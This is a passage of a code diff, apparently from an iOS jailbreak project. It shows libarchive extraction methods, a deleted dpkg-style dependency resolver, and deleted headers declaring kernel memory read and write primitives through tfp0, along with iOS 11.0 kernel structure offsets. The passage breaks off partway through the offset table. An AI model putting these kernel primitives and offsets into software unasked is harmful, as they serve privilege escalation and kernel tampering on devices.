if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK)
return nil;
archive_read_close(a);
archive_read_finish(a);
lseek(_fd, 0, SEEK_SET);
return self;
}
-(ArchiveFile*)initWithFd:(int)fd
{
self = [self init];
_files = nil;
_hasReadFiles = NO;
_isPipe = YES;
_fd = fd;
if (_fd < 0) {
perror("Dup fd");
return nil;
}
return self;
}
-(NSArray*)files {
if (!_hasReadFiles) {
[self readContents];
}
return [_files.allKeys copy];
}
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd
{
BOOL result = NO;
/* Select which attributes we want to restore. */
if (fd < 0) {
NSLog(@"Archive: invalid fd");
return NO;
}
if (fileNum < 1) {
NSLog(@"Archive: invalid fileNum");
return NO;
}
struct archive *a = archive_read_new();
archive_read_support_compression_all(a);
archive_read_support_format_all(a);
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
close(fd);
return result;
}
// Seek to entry
struct archive_entry *entry = NULL;
int rv ;
for (int i=1; (rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK && i<fileNum; i++);
if (rv == ARCHIVE_EOF) {
NSLog(@"Archive: no file %d", fileNum);
goto out;
}
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: %s", archive_error_string(a));
if (rv < ARCHIVE_WARN)
goto out;
}
if (archive_entry_size(entry) > 0) {
rv = archive_read_data_into_fd(a, fd);
}
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: %s", archive_error_string(a));
if (rv < ARCHIVE_WARN)
goto out;
}
result = YES;
out:
archive_read_close(a);
archive_read_finish(a);
close(fd);
return result;
}
-(BOOL)extract:(NSString*)file toFd:(int)fd
{
BOOL result = NO;
/* Select which attributes we want to restore. */
if (fd < 0) {
NSLog(@"Archive: invalid fd");
return NO;
}
struct archive *a = archive_read_new();
archive_read_support_compression_all(a);
archive_read_support_format_all(a);
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
close(fd);
return result;
}
// Seek to entry
struct archive_entry *entry = NULL;
int rv;
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK &&
strcmp(archive_entry_pathname(entry), file.UTF8String) != 0
);
if (rv == ARCHIVE_EOF) {
NSLog(@"Archive: no such file \"%@\"", file);
goto out;
}
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: %s", archive_error_string(a));
if (rv < ARCHIVE_WARN)
goto out;
}
if (entry && (strcmp(archive_entry_pathname(entry), file.UTF8String) != 0) ) {
NSLog(@"Archive: Unable to find entry for %@", file);
goto out;
}
if (archive_entry_size(entry) > 0) {
rv = archive_read_data_into_fd(a, fd);
}
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: %s", archive_error_string(a));
if (rv < ARCHIVE_WARN)
goto out;
}
result = YES;
out:
archive_read_close(a);
archive_read_finish(a);
close(fd);
return result;
}
-(BOOL)extract:(NSString*)file toPath:(NSString*)path
{
BOOL result = NO;
/* Select which attributes we want to restore. */
int flags = DEFAULT_FLAGS;
int fd = dup(_fd);
if (fd == -1) {
NSLog(@"Archive: unable to dupe fd");
return NO;
}
struct archive *a = archive_read_new();
archive_read_support_compression_all(a);
archive_read_support_format_all(a);
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
close(fd);
return result;
}
struct archive *ext = archive_write_disk_new();
archive_write_disk_set_options(ext, flags);
// Seek to entry
struct archive_entry *entry = NULL;
int rv;
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK &&
strcmp(archive_entry_pathname(entry), file.UTF8String) != 0
);
if (rv == ARCHIVE_EOF) {
NSLog(@"Archive: no such file \"%@\"", file);
goto out;
}
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: %s", archive_error_string(a));
if (rv < ARCHIVE_WARN)
goto out;
}
if (entry && (strcmp(archive_entry_pathname(entry), file.UTF8String) != 0) ) {
NSLog(@"Archive: Unable to find entry for %@", file);
goto out;
}
archive_entry_set_pathname(entry, path.UTF8String);
rv = archive_write_header(ext, entry);
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: Unable to write header for %@: %s", path, archive_error_string(ext));
if (rv < ARCHIVE_WARN)
goto out;
}
if (archive_entry_size(entry) > 0) {
rv = copy_data(a, ext);
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: Error copying data for %@: %s", path, archive_error_string(ext));
if (rv < ARCHIVE_WARN)
goto out;
}
}
rv = archive_write_finish_entry(ext);
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: %s", archive_error_string(ext));
if (rv < ARCHIVE_WARN)
goto out;
}
result = YES;
out:
archive_write_close(ext);
archive_write_finish(ext);
archive_read_close(a);
archive_read_finish(a);
close(fd);
return result;
}
-(BOOL)extract
{
return [self extractToPath:[[NSFileManager defaultManager] currentDirectoryPath]];
}
-(BOOL)extractWithFlags:(int)flags
{
return [self extractToPath:[[NSFileManager defaultManager] currentDirectoryPath] withFlags:flags];
}
-(BOOL)extractToPath:(NSString*)path
{
return [self extractToPath:path withFlags:DEFAULT_FLAGS];
}
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs
{
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:overwrite_dirs];
}
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags
{
return [self extractToPath:path withFlags:flags overWriteDirectories:NO];
}
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs
{
BOOL result = NO;
int fd = dup(_fd);
if (fd == -1) {
NSLog(@"Archive: unable to dupe fd");
return NO;
}
struct archive *a = archive_read_new();
archive_read_support_compression_all(a);
archive_read_support_format_all(a);
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
close(fd);
return result;
}
struct archive *ext = archive_write_disk_new();
archive_write_disk_set_options(ext, flags);
// Seek to entry
struct archive_entry *entry = NULL;
int rv;
NSFileManager *fm = [NSFileManager defaultManager];
NSString *cwd = [fm currentDirectoryPath];
if (![fm changeCurrentDirectoryPath:path]) {
NSLog(@"Archive: unable to change cwd to %@", path);
goto out;
}
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK) {
if (rv < ARCHIVE_OK) {
NSLog(@"Archive \"%s\": %s", archive_entry_pathname(entry), archive_error_string(ext));
if (rv < ARCHIVE_WARN)
goto out;
}
const char *filename = archive_entry_pathname(entry);
struct stat st;
rv = stat(filename, &st);
if (rv == 0) {
if (!overwrite_dirs) {
if (S_ISDIR(st.st_mode)) {
// Directory already exists, don't mess with it
NSLog(@"Archive: skipping directory: %s", filename);
continue;
}
}
if (S_ISREG(st.st_mode) && isInAMFIStaticCache(@(filename))) {
// --BootLoop
NSLog(@"Archive: cowardly refusing to overwrite stock file: %s", filename);
continue;
}
NSLog(@"Archive: Overwriting file %s", filename);
}
rv = archive_write_header(ext, entry);
if (rv < ARCHIVE_OK) {
NSLog(@"Archive \"%s\": %s", filename, archive_error_string(ext));
}
if (archive_entry_size(entry) > 0) {
rv = copy_data(a, ext);
if (rv < ARCHIVE_OK) {
NSLog(@"Archive: Error copying data for %s: %s", filename, archive_error_string(ext));
if (rv < ARCHIVE_WARN)
goto out;
}
}
rv = archive_write_finish_entry(ext);
if (rv < ARCHIVE_OK) {
NSLog(@"Archive \"%s\": %s", filename, archive_error_string(ext));
if (rv < ARCHIVE_WARN)
goto out;
}
NSLog(@"%s: OK", filename);
}
result = YES;
out:
[fm changeCurrentDirectoryPath:cwd];
archive_write_close(ext);
archive_write_finish(ext);
archive_read_close(a);
archive_read_finish(a);
close(fd);
return result;
}
-(BOOL)contains:(NSString*)file {
if (!_hasReadFiles) {
[self readContents];
}
return (_files[file] != nil);
}
-(void)dealloc {
close(_fd);
}
@end
@@ -10,6 +10,4 @@
@interface CreditsTableViewController : UITableViewController
+ (NSURL *)getURLForUserName:(NSString *)userName;
@end
@@ -110,8 +110,4 @@
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"JonathanSeals"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnSaurik:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"saurik"] options:@{} completionHandler:nil];
}
@end
-22
View File
@@ -1,22 +0,0 @@
//
// FakeApt.h
// This is far from a complete implementation
//
// Created by Sam Bingner on 1/24/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#ifndef FakeApt_h
#define FakeApt_h
int versioncomp(NSString *v1, NSString *v2);
NSDictionary *parseDependsOrProvides(NSString *string);
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
NSString *versionOfPkg(NSString *pkg);
NSArray *resolveDepsForPkg(NSString * _Nonnull pkg, BOOL noPreDeps);
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps);
NSDictionary *getPkgs(void);
NSString *debForPkg(NSString *pkg);
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs);
#endif /* FakeApt_h */
-461
View File
@@ -1,461 +0,0 @@
//
// FakeApt.m
// This is far from a complete implementation.
//
// Created by Sam Bingner on 1/24/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import "utils.h"
#import "common.h"
#import "FakeApt.h"
static int valueForNonDigit(char nd) {
if (nd == '~')
return 0;
else if (nd == '\0')
return 1;
else if (nd >= 'A' && nd <= 'Z')
return 2 + nd - 'A';
else if (nd >= 'a' && nd <= 'z')
return 2 + ('Z' - 'A') + nd - 'a';
else
return 2 + ('Z' - 'A') * 2 + nd;
}
int versioncomp(NSString *v1, NSString *v2) {
NSRegularExpression *nonDigitsR = [NSRegularExpression regularExpressionWithPattern:@"^([^\\d]+)" options:0 error:nil];
NSRegularExpression *digitsR = [NSRegularExpression regularExpressionWithPattern:@"^([\\d]+)" options:0 error:nil];
int result = 0;
do {
NSTextCheckingResult *nonDigits1 = [nonDigitsR firstMatchInString:v1 options:0 range:NSMakeRange(0, v1.length)];
NSTextCheckingResult *nonDigits2 = [nonDigitsR firstMatchInString:v2 options:0 range:NSMakeRange(0, v2.length)];
const char *nd1="", *nd2="";
if (nonDigits1) {
nd1 = [v1 substringWithRange:nonDigits1.range].UTF8String;
v1 = [v1 substringFromIndex:nonDigits1.range.length];
}
if (nonDigits2) {
nd2 = [v2 substringWithRange:nonDigits1.range].UTF8String;
v2 = [v2 substringFromIndex:nonDigits1.range.length];
}
size_t maxLen = MIN(nonDigits1.range.length, nonDigits2.range.length) + 1; // Also compare NULL
int compared;
for (compared=0; compared < maxLen && *nd1 == *nd2; compared++, nd1++, nd2++);
if (compared < maxLen) {
int cv1 = valueForNonDigit(*nd1);
int cv2 = valueForNonDigit(*nd2);
result = cv1 - cv2;
}
if (result == 0) {
// Compare digits
NSTextCheckingResult *digits1 = [digitsR firstMatchInString:v1 options:0 range:NSMakeRange(0, v1.length)];
NSTextCheckingResult *digits2 = [digitsR firstMatchInString:v2 options:0 range:NSMakeRange(0, v2.length)];
int dv1=0, dv2=0;
if (digits1) {
dv1 = [[v1 substringWithRange:digits1.range] intValue];
v1 = [v1 substringFromIndex:digits1.range.length];
}
if (digits2) {
dv2 = [[v2 substringWithRange:digits2.range] intValue];
v2 = [v2 substringFromIndex:digits2.range.length];
}
result = dv1 - dv2;
}
} while (result == 0 && (v1.length > 0 || v2.length > 0));
return result;
}
NSDictionary *parseDependsOrProvides(NSString *string) {
NSRegularExpression *version = [NSRegularExpression regularExpressionWithPattern:@"^\\s*(\\S+)\\s+\\((<<|<=|=|>=|>>)\\s*((?:\\d:|)[A-Za-z0-9\\.\\+\\-\\~]+)\\)" options:0 error:nil];
NSTextCheckingResult *verMatch = [version firstMatchInString:string options:0 range:NSMakeRange(0, string.length)];
if (verMatch) {
return @{
@"name": [string substringWithRange:[verMatch rangeAtIndex:1]],
@"op": [string substringWithRange:[verMatch rangeAtIndex:2]],
@"ver": [string substringWithRange:[verMatch rangeAtIndex:3]]
};
}
return @{@"name": string};
}
enum dpkgComparisonResult {
resError = -1,
resNotSatisfied = 0,
resSatisfied = 1,
resPending = 2
};
static enum dpkgComparisonResult testComp(int compRes, NSString *op, bool last) {
static NSDictionary *compDict;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
compDict = @{
@"<<" : @-2,
@"<=" : @-1,
@"=" : @0,
@">=" : @1,
@">>" : @2
};
});
NSNumber *compOp = compDict[op];
if (!compOp)
return resError;
switch (compOp.intValue) {
case -2:
if (compRes < 0)
return resSatisfied;
return last?resNotSatisfied:resPending;
break;
case -1:
if (compRes < 0)
return resSatisfied;
case 0:
if (compRes == 0)
return last?resSatisfied:resPending;
return resNotSatisfied;
break;
case 1:
if (compRes == 0)
return last?resSatisfied:resPending;
case 2:
if (compRes > 0)
return resSatisfied;
return last?resNotSatisfied:resPending;
break;
default:
return resError;
}
}
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result) {
if (version1 == nil || op == nil || version2 == nil || result == NULL)
return NO;
NSRegularExpression *mainVersionPartsRegex = [NSRegularExpression regularExpressionWithPattern:
@"^(?:(\\d):|)(?:([A-Za-z0-9\\.\\+\\-~]+)-([A-Za-z0-9\\.\\+~]+)|([A-Za-z0-9\\.\\+~]+))$"
options:0 error:nil];
NSRegularExpression *opRegex = [NSRegularExpression regularExpressionWithPattern:@"^<<|<=|=|>=|>>$" options:0 error:nil];
if ([opRegex numberOfMatchesInString:op options:0 range:NSMakeRange(0, op.length)] != 1) {
LOG("couldn't parse op");
return NO;
}
NSTextCheckingResult *mainVersion1Parts = [mainVersionPartsRegex firstMatchInString:version1 options:0 range:NSMakeRange(0, version1.length)];
NSTextCheckingResult *mainVersion2Parts = [mainVersionPartsRegex firstMatchInString:version2 options:0 range:NSMakeRange(0, version2.length)];
if (!mainVersion1Parts || !mainVersion2Parts) {
LOG("couldn't parse version %@ or %@", version1, version2);
return NO;
}
NSString *epoch1;
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:1], NSMakeRange(NSNotFound, 0))) {
epoch1 = @"0";
} else {
epoch1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:1]];
}
NSString *epoch2;
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:1], NSMakeRange(NSNotFound, 0))) {
epoch2 = @"0";
} else {
epoch2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:1]];
}
NSString *upstream1;
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:2], NSMakeRange(NSNotFound, 0))) {
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:4], NSMakeRange(NSNotFound, 0))) {
LOG("Unable to parse version1 upstream version: %@", version1);
return NO;
}
upstream1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:4]];
} else {
upstream1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:2]];
}
NSString *upstream2;
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:2], NSMakeRange(NSNotFound, 0))) {
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:4], NSMakeRange(NSNotFound, 0))) {
LOG("Unable to parse version2 upstream version: %@", version2);
return NO;
}
upstream2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:4]];
} else {
upstream2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:2]];
}
NSString *deb1;
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:3], NSMakeRange(NSNotFound, 0))) {
deb1 = @"0";
} else {
deb1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:3]];
}
NSString *deb2;
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:3], NSMakeRange(NSNotFound, 0))) {
deb2 = @"0";
} else {
deb2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:3]];
}
enum dpkgComparisonResult res = testComp(versioncomp(epoch1, epoch2), op, false);
if (res == resPending)
res = testComp(versioncomp(upstream1, upstream2), op, false);
if (res == resPending)
res = testComp(versioncomp(deb1, deb2), op, true);
*result = res == resSatisfied;
return YES;
}
NSArray *getDepsForPkg(NSString *pkg) {
NSDictionary *pkgs = getPkgs();
return pkgs[pkg][@"Depends"];
}
NSArray *getPreDepsForPkg(NSString *pkg) {
NSDictionary *pkgs = getPkgs();
return pkgs[pkg][@"Pre-Depends"];
}
NSArray *allDepsForPkg(NSString *pkg) {
NSArray *deps = getDepsForPkg(pkg);
NSArray *predeps = getPreDepsForPkg(pkg);
if (deps) {
return [deps arrayByAddingObjectsFromArray:predeps];
}
return predeps;
}
NSArray *resolveDepsForPkgWithQueue(NSString *pkg, NSMutableArray *queue, BOOL preDeps) {
if (pkg == nil) {
LOG("I can't resolve deps for no pkg. WTF.");
return nil;
}
NSArray *deps = preDeps?allDepsForPkg(pkg):getDepsForPkg(pkg);
NSDictionary *pkgs = getPkgs();
if (queue == nil) {
queue = [NSMutableArray new];
}
NSRegularExpression *or = [NSRegularExpression regularExpressionWithPattern:@"\\s*([^\\|]+)\\s*\\|?" options:0 error:nil];
for (NSString *dep in deps) {
BOOL __block resolved = NO;
[or enumerateMatchesInString:dep options:0 range:NSMakeRange(0, dep.length) usingBlock:^(NSTextCheckingResult * _Nullable result, NSMatchingFlags flags, BOOL * _Nonnull stop) {
NSString *match = [dep substringWithRange:[result rangeAtIndex:1]];
NSDictionary *ver = parseDependsOrProvides(match);
// LOG("Match: %@ op: %@ ver: %@", ver[@"name"], ver[@"op"], ver[@"ver"]);
match = ver[@"name"];
if (pkgs[match] != nil) {
if (ver[@"op"]) {
compareDpkgVersion(pkgs[match][@"Version"], ver[@"op"], ver[@"ver"], &resolved);
} else {
resolved = YES;
}
if (resolved && ![queue containsObject:match]) {
[queue addObject:match];
if (resolveDepsForPkgWithQueue(match, queue, preDeps) == nil) {
LOG("Unmarking %@ as resolved because deps could not be satisified", match);
resolved = NO;
[queue removeObject:match];
} else {
// Move to the end of the queue so deps are installed first
[queue removeObject:match];
[queue addObject:match];
}
}
}
if (!resolved) {
// LOG("Unable to resolve dep: %@ for %@ - trying provides", dep, pkg);
for (NSString *pkg in pkgs.allKeys) {
for (NSString *provide in pkgs[pkg][@"Provides"]) {
NSDictionary *provided = parseDependsOrProvides(provide);
if ([provided[@"name"] isEqualToString:match]) {
if (ver[@"op"]) {
if (provided[@"op"] && [provided[@"op"] isEqualToString:@"="]) {
compareDpkgVersion(provided[@"ver"], ver[@"op"], ver[@"ver"], &resolved);
}
} else {
resolved = YES;
}
}
if (resolved && ![queue containsObject:pkg]) {
[queue addObject:pkg];
if (resolveDepsForPkgWithQueue(pkg, queue, preDeps) == nil) {
LOG("Unmarking %@ as resolved because deps could not be satisified", match);
resolved = NO;
[queue removeObject:pkg];
} else {
[queue removeObject:pkg];
[queue addObject:pkg];
}
break;
}
}
if (resolved)
break;
}
}
*stop = resolved;
}];
if (!resolved) {
LOG("Unable to resolve dep: %@ for %@", dep, pkg);
return nil;
}
}
if (![queue containsObject:pkg])
[queue addObject:pkg];
return queue;
}
NSArray *resolveDepsForPkg(NSString *pkg, BOOL preDeps) {
return resolveDepsForPkgWithQueue(pkg, nil, preDeps);
}
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps) {
NSArray *pkgsForPkg = resolveDepsForPkg(pkg, preDeps);
if (pkgsForPkg == nil || pkgsForPkg.count < 1) {
LOG("Found no pkgs to install for \"%@\"", pkg);
return NO;
}
NSMutableArray *debsForPkg = [debsForPkgs(pkgsForPkg) mutableCopy];
if (debsForPkg == nil) {
LOG("Found no debs to install for \"%@\"", pkg);
return NO;
}
if (installed != nil) {
[debsForPkg removeObjectsInArray:installed];
}
if (debsForPkg.count < 1) {
// Already installed all these
return YES;
}
if (!extractDebs(debsForPkg)) {
LOG("Failed to extract debs for \"%@\"", pkg);
return NO;
}
[installed addObjectsFromArray:debsForPkg];
return YES;
}
NSDictionary *getPkgs(void) {
static NSDictionary *pkgs = nil;
static dispatch_once_t token;
dispatch_once(&token, ^{
NSMutableDictionary *mpkgs = [NSMutableDictionary new];
NSString *pkgs_path = pathForResource(@"apt/Packages");
if (pkgs_path == nil) {
return;
}
FILE *pkgs_file = fopen(pkgs_path.UTF8String, "r");
if (pkgs_file == NULL) {
return;
}
char *line = NULL;
size_t linelen = 0;
NSString *pkg_id = nil;
while (getline(&line, &linelen, pkgs_file) != -1) {
char *newline = strchr(line, '\n');
if (newline) {
*newline = '\0';
}
char *val = strchr(line, ':');
if (val == NULL) {
pkg_id = nil;
continue;
}
char *field = line;
field[val - line] = '\0';
do {
val++;
} while (*val == ' ');
if (strcmp(field, "Package") == 0) {
pkg_id = @(val);
mpkgs[pkg_id] = [NSMutableDictionary new];
} else {
if (![mpkgs[pkg_id] isKindOfClass:[NSMutableDictionary class]]) {
LOG("Error reading Packages, Package: must come before values");
fclose(pkgs_file);
return;
}
// LOG(@"pkgs[%@][%s] = %s\n", pkg_id, field, val);
if (strcmp(field, "Depends") == 0 ||
strcmp(field, "Pre-Depends") == 0 ||
strcmp(field, "Conflicts") == 0 ||
strcmp(field, "Provides") == 0
) {
mpkgs[pkg_id][@(field)] = [@(val) componentsSeparatedByString:@", "];
} else {
mpkgs[pkg_id][@(field)] = @(val);
}
}
}
if (line) {
free(line);
line = NULL;
}
fclose(pkgs_file);
mpkgs[@"firmware"] = @{
@"Version": [[UIDevice currentDevice] systemVersion],
@"Filename": @"virtual"
};
mpkgs[@"firmware-sbin"] = @{
@"Version": @"0-1",
@"Filename": @"virtual"
};
pkgs = [mpkgs copy];
});
return pkgs;
}
NSString *debForPkg(NSString *pkg) {
NSDictionary *pkgs = getPkgs();
NSString *file = pkgs[pkg][@"Filename"];
if (file == nil) {
LOG(@"file == nil");
return nil;
}
if ([file isEqualToString:@"virtual"]) {
return @"virtual";
}
return pathForResource([@"apt" stringByAppendingPathComponent:file]);
}
NSString *versionOfPkg(NSString *pkg) {
NSDictionary *pkgs = getPkgs();
if (pkgs[pkg])
return pkgs[pkg][@"Version"];
return nil;
}
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs) {
NSMutableArray *paths = [NSMutableArray new];
for (NSString* pkg in pkgs) {
NSString *path = debForPkg(pkg);
if (!path) {
LOG("Unable to resolve %@ to a deb", pkg);
return nil;
}
if (![path isEqualToString:@"virtual"])
[paths addObject:path];
}
return [paths copy];
}
-80
View File
@@ -1,80 +0,0 @@
#ifndef KernelMemory_h
#define KernelMemory_h
#include <mach/mach.h>
#include <stdbool.h>
/***** mach_vm.h *****/
kern_return_t mach_vm_read(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
vm_offset_t* data,
mach_msg_type_number_t* dataCnt);
kern_return_t mach_vm_write(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt);
kern_return_t mach_vm_read_overwrite(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
mach_vm_address_t data,
mach_vm_size_t* outsize);
kern_return_t mach_vm_allocate(
vm_map_t target,
mach_vm_address_t* address,
mach_vm_size_t size,
int flags);
kern_return_t mach_vm_deallocate(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size);
kern_return_t mach_vm_protect(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
boolean_t set_maximum,
vm_prot_t new_protection);
extern mach_port_t tfp0;
size_t kread(uint64_t where, void* p, size_t size);
size_t kwrite(uint64_t where, const void* p, size_t size);
#define rk32(kaddr) ReadKernel32(kaddr)
#define rk64(kaddr) ReadKernel64(kaddr)
uint32_t ReadKernel32(uint64_t kaddr);
uint64_t ReadKernel64(uint64_t kaddr);
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
void WriteKernel32(uint64_t kaddr, uint32_t val);
void WriteKernel64(uint64_t kaddr, uint64_t val);
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
uint64_t kmem_alloc(uint64_t size);
uint64_t kmem_alloc_wired(uint64_t size);
void kmem_free(uint64_t kaddr, uint64_t size);
void prepare_rk_via_kmem_read_port(mach_port_t port);
void prepare_rwk_via_tfp0(mach_port_t port);
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
// query whether kmem read or write is present
bool have_kmem_read(void);
bool have_kmem_write(void);
#endif
-75
View File
@@ -1,75 +0,0 @@
#ifndef KernelOffsets_h
#define KernelOffsets_h
enum kstruct_offset {
/* struct task */
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
KSTRUCT_OFFSET_TASK_REF_COUNT,
KSTRUCT_OFFSET_TASK_ACTIVE,
KSTRUCT_OFFSET_TASK_VM_MAP,
KSTRUCT_OFFSET_TASK_NEXT,
KSTRUCT_OFFSET_TASK_PREV,
KSTRUCT_OFFSET_TASK_ITK_SPACE,
KSTRUCT_OFFSET_TASK_BSD_INFO,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
KSTRUCT_OFFSET_TASK_TFLAGS,
/* struct ipc_port */
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
/* struct proc */
KSTRUCT_OFFSET_PROC_PID,
KSTRUCT_OFFSET_PROC_P_FD,
KSTRUCT_OFFSET_PROC_TASK,
KSTRUCT_OFFSET_PROC_UCRED,
KSTRUCT_OFFSET_PROC_P_LIST,
/* struct filedesc */
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
/* struct fileproc */
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
/* struct fileglob */
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
/* struct socket */
KSTRUCT_OFFSET_SOCKET_SO_PCB,
/* struct pipe */
KSTRUCT_OFFSET_PIPE_BUFFER,
/* struct ipc_space */
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
/* struct vnode */
KSTRUCT_OFFSET_VNODE_V_MOUNT,
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
KSTRUCT_OFFSET_VNODE_V_LOCK,
/* struct specinfo */
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
/* struct mount */
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
/* struct host */
KSTRUCT_OFFSET_HOST_SPECIAL,
KFREE_ADDR_OFFSET,
};
int koffset(enum kstruct_offset offset);
void offsets_init(void);
#endif
-145
View File
@@ -1,145 +0,0 @@
#import <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "KernelStructureOffsets.h"
#include <common.h>
int* offsets = NULL;
int kstruct_offsets_11_0[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
